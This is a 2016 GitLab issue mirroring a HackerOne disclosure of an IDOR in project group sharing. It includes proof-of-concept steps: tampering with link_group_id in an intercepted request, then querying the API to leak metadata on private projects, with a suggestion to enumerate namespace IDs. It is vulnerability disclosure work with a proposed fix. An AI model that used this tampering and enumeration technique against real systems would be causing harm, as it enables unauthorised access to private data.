Skip to content
GitLab Next
  • Menu
Projects Groups Snippets
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in / Register
  • GitLab FOSS GitLab FOSS
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
    • Locked Files
  • Issues 0
    • Issues 0
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 0
    • Merge requests 0
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages & Registries
    • Packages & Registries
    • Package Registry
    • Container Registry
    • Infrastructure Registry
  • Monitor
    • Monitor
    • Metrics
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • Code review
    • Insights
    • Issue
    • Repository
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.org
  • GitLab FOSSGitLab FOSS
  • Issues
  • #15330
Closed
Open
Created Apr 18, 2016 by Jose Torres@balamebContributor

Privilege escalation to access all private groups and repositories

HackerOne: 131210

Vulnerability details

There is an insecure direct object reference (IDOR) issue in the group sharing feature for a project. This allows an attacker to get access to the names of private repositories of a group, issues, milestones, and the group its team members.

Proof of concept

First, lets set up the private group. Go to http://gitlab-instance/groups/new and fill in a name and set its visibility to private. In this example, lets call the group private-group. Lets also create a new project in the group at http://gitlab-instance/projects/new?namespace_id=7. The ID in the URL changes depending on the ID of the group that was just created. Lets call the project secret-project. Memorise this ID, you need it later in the PoC.

Now to get access to the group without being a member, sign in as some user (jane), create a new project and call it dummy-project. If Jane now goes to http://gitlab-instance/groups/private-group, a 404 is shown. This is good. Now go to http://gitlab-instance/jane/dummy-project/group_links. Now select a random public group from the dropdown list. Before clicking on the "Share" button , make sure you intercept your network traffic. The request that is being sent to the server will look something like this:

POST /jane/dummy-group/group_links HTTP/1.1
Host: 159.xxx.xxx.xxx
...

utf8=%E2%9C%93&authenticity_token=LKWaV6ekT0zFbfFJPKRG78OyIsUvCxObht2Dn1l7p02SEa9IrefoAtdtwX%2F890lUqS2HLCtASPQyvFWmCYtJwA%3D%3D&link_group_id=6&link_group_access=40

Now change the link_group_id in this request to the ID that you memorized in the first paragraph of this section and forward the request. Your page will now show the name of the private group. If Jane now goes to http://gitlab-instance/groups/private-group, to secret group page is shown. At this point, the private repositories are still hidden.

Since the attacker has read access to the group now, there are some endpoints that leak some private information. By sending a request to the http://gitlab-instance/api/v3/groups/7/projects.json?private_token=ZJirZUgh9QGSQfaGBHDL&search=&per_page=20 endpoint with Jane's API token, the private repositories are leaked. Here's an example response:

[
  {
    "id":11,
    "description":"Super secret description of this project.",
    "default_branch":null,
    "tag_list":[],
    "public":false,
    "archived":false,
    "visibility_level":0,
    "ssh_url_to_repo":"git@gitlab-instance:super-private/secret-project.git",
    "http_url_to_repo":"http://gitlab-instance/super-private/secret-project.git",
    "web_url":"http://gitlab-instance/super-private/secret-project",
    "name":"secret-project",
    "name_with_namespace":"super-private / secret-project",
    "path":"secret-project",
    "path_with_namespace":"super-private/secret-project",
    "issues_enabled":true,
    "merge_requests_enabled":true,
    "wiki_enabled":true,
    "builds_enabled":true,
    "snippets_enabled":false,
    "created_at":"2016-04-15T20:55:19.228Z",
    "last_activity_at":"2016-04-15T20:56:24.988Z",
    "shared_runners_enabled":true,
    "creator_id":1,
    "namespace":{
      "id":7,
      "name":"super-private",
      "path":"super-private",
      "owner_id":null,
      "created_at":"2016-04-15T20:42:01.718Z",
      "updated_at":"2016-04-15T20:42:01.718Z",
      "description":"Super private group.",
      "avatar":
      {
        "url":null
      },
      "share_with_group_lock":false,
      "visibility_level":0
    },
    "avatar_url":null,
    "star_count":0,
    "forks_count":0,
    "open_issues_count":1,
    "public_builds":true
  }
]

The repository itself can't be accessed, but there's definitely some information disclosed that the attacker shouldn't have access to. In a real world scenario, someone could iterate over all namespace IDs and get access to all private groups. From there, it could send a request to the GitLab API to gain more knowledge about the private projects.

Fix

This can be fixed by restricting which groups can be added to a project by a user. The issue itself originates from line 11 of the Projects::GroupLinksController, which can be found at app/controllers/projects/group_links_controller.rb.


/cc @do@DouweM

Assignee
Assign to
Time tracking